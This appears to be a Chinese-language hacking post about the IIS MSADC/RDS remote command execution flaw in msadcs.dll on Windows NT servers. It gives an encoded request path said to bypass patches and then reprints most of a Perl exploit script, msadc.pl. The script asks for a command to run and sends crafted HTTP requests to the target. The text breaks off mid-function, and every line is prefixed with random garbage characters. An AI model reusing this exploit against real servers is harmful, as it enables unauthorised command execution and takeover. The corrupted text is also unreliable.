IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
k$+& @MN>ye'T 涉及程序:
06=eA0JI Microsoft NT server
c85B-/ W]y$6P 描述:
zV2c`he%z 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
,U<Ku*}B AJmS1 B 详细:
Rl S=^}> 如果你没有时间读详细内容的话,就删除:
E!Ng=}G&_ c:\Program Files\Common Files\System\Msadc\msadcs.dll
[KjQW/sb' 有关的安全问题就没有了。
EIF[e|kZ< oxad}Y 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
m:"2I&0)WM g@j:TQM_0 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
\64(`6> 关于利用ODBC远程漏洞的描述,请参看:
4/d#)6
7l:H~"9r http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm DPe`C%Oc1 >U) ,^H( 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
j5ui http://www.microsoft.com/security/bulletins/MS99-025faq.asp n_c0=YH Lnj5EY er 这里不再论述。
3@}_ F<"* 5hDE&hp 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
*Pq`~W_M7 >#8`Zy:/Y /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
1 9)78kV{ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Q!|71{5U
,p 'M@[ S"_vD<q #将下面这段保存为txt文件,然后: "perl -x 文件名"
r+Z+x{ 95(VY)_6#A #!perl
S)[2\Z{**T #
Xt~/8)& # MSADC/RDS 'usage' (aka exploit) script
_
!Ph1 #
]_-$ # by rain.forest.puppy
&V2G<gm0 #
J7E/2Sl # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
s%/0WW0y^ # beta test and find errors!
(/N`Wu {@3=vBl%O+ use Socket; use Getopt::Std;
_c #P getopts("e:vd:h:XR", \%args);
~#j`+ Y#N'bvE|% print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
)<Yy.Z_:DC jEI!t^# if (!defined $args{h} && !defined $args{R}) {
"<.b=mN- print qq~
V5A7w
V3~ Usage: msadc.pl -h <host> { -d <delay> -X -v }
yBr{nFOgdY -h <host> = host you want to scan (ip or domain)
4H " *.l -d <seconds> = delay between calls, default 1 second
XM_S" -X = dump Index Server path table, if available
h2tzv~ -v = verbose
\zoJr) -e = external dictionary file for step 5
DdFVOs| )lW<:?k Or a -R will resume a command session
8)H"w$jq nF//y} ~; exit;}
=RV$8.Xp @lBH@HR=C $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
%ZZ}TUI W if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
ho:,~ A;k if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
a<HM|dcst if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
^7_<rs $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
'i@Y #F%D if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Lv5AtZl} f.8L<<5 c if (!defined $args{R}){ $ret = &has_msadc;
7"S|GEs: die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
kPxrI= {fS/ZG"5<t print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Dbtw>:= . "cmd /c ";
I4");T3 $in=<STDIN>; chomp $in;
:r~? Z6gK $command="cmd /c " . $in ;
hz/5k%%UX qI'a|p4fn? if (defined $args{R}) {&load; exit;}
'<@ PgO~ w!xSYh') print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
QR,i
b &try_btcustmr;
}y0UyOa{C #G\)ZheG print "\nStep 2: Trying to make our own DSN...";
u{_T,k<! &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Y- w5S|! 2Nj0 Hqjq
print "\nStep 3: Trying known DSNs...";
`bx gg'V &known_dsn;
r<0.!j%c zPVA6~|l print "\nStep 4: Trying known .mdbs...";
N
.SszZh &known_mdb;
Nd( $s[ BE m%x0y if (defined $args{e}){
<vj&e(D^ print "\nStep 5: Trying dictionary of DSN names...";
I
4EocM= &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
z3$PrK% EoY570PN print "Sorry Charley...maybe next time?\n";
T&{EqsI=B exit;
M,6AD] QX8N p{g- ##############################################################################
.rMGI"
$U6)km4 sub sendraw { # ripped and modded from whisker
|E}N8\Gr sleep($delay); # it's a DoS on the server! At least on mine...
N,;Bl&EU my ($pstr)=@_;
@ojn<7W socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
lw Kr$X4 die("Socket problems\n");
ME7JU|@Z if(connect(S,pack "SnA4x8",2,80,$target)){
D)mqe-%1 select(S); $|=1;
'7xY,IY print $pstr; my @in=<S>;
.vb*|So select(STDOUT); close(S);
Q"(i return @in;
yX)2
hj:s } else { die("Can't connect...\n"); }}
x2nNkd0h
1ITa6vjS ##############################################################################
AFY;;_Xks IYrO;GQ sub make_header { # make the HTTP request
v0HFW%YJ^J my $msadc=<<EOT
N8!B2uPQ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
>=B8PK+< User-Agent: ACTIVEDATA
k!!o!r BS Host: $ip
3_D$6/i Content-Length: $clen
0/*z]2 Connection: Keep-Alive
y6Rg@L&U muY4:F.C( ADCClientVersion:01.06
mH8"k+k Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
=?/J.[)<* \?}ZXKuJj --!ADM!ROX!YOUR!WORLD!
ABx0IdOcI Content-Type: application/x-varg
{Ji[d.cY Content-Length: $reqlen
fdPg{3x*k iveWau292 EOT
Ddu$49{S: ; $msadc=~s/\n/\r\n/g;
T}zOM%]] return $msadc;}
gjwp' GN `4$" mO>+ ##############################################################################
2'/ ip@ qUVV374N sub make_req { # make the RDS request
{=&